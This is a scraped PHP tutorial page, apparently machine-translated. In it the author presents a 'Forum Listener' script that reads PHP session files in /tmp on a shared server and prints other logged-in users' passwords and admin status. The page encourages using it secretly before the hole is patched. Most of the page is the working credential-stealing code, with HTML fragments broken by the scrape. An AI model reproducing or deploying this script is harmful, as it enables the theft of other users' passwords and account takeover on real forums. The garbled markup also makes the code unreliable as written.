Home  >  Article  >  Backend Development  >  PHP function to view session content_PHP tutorial

PHP function to view session content_PHP tutorial

WBOY
WBOYOriginal
2016-07-21 15:49:571003browse

For example: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1", we also know the location where the session is stored, and can upload files, so, at that time, After doing a little hack, I can see the passwords of my online friends at a glance, haha:
function submit1(){
global $username;
print "Forum Listener";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "You also Isn't it too dark? ";
return;
}
$path="/tmp/";
$d = dir($path);
while ($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name = explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":", $ary[1]);
$mode=explode(":",$ary[3]);
print "User pen name:".$name[2]."
Use password: ".$passwd[2]."
Usage mode:";
if($mode[1]==1)
print "adminelse
print "General users";
print"

Stealing other people’s passwords is unethical, please do it less
";
$ i=1;
break;
}}}}
if(!$i)
print "User: ".$username." Is it really online? If you are sure, Please do it again, no more spaces! ";
$d->close();
}

function login(){
?>


Forum Listener




Forum Listener


< ;/p>





We solemnly declare: This program is a free program and I am not responsible for any losses caused by it

However, this problem may be blocked soon. Go on, let’s use it secretly without making any publicity.
="" >

Please enter the username you want to check:





< ;/p>





}
//--------------main()
if($submit1)
submit1();
else
login();
?>



http://www.bkjia.com/PHPjc/319459.html

www.bkjia.com

true

TechArticleFor example: name|s:4:"tasm";passwd|s:6:"111111";mode| s:1:"1", I also know the location where the session is stored, and can upload files, so I did a little hacking at that time, and my online friends...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
When you see a user online and you want to see his password, what do you do? ="2">Let me tell you: just use this program.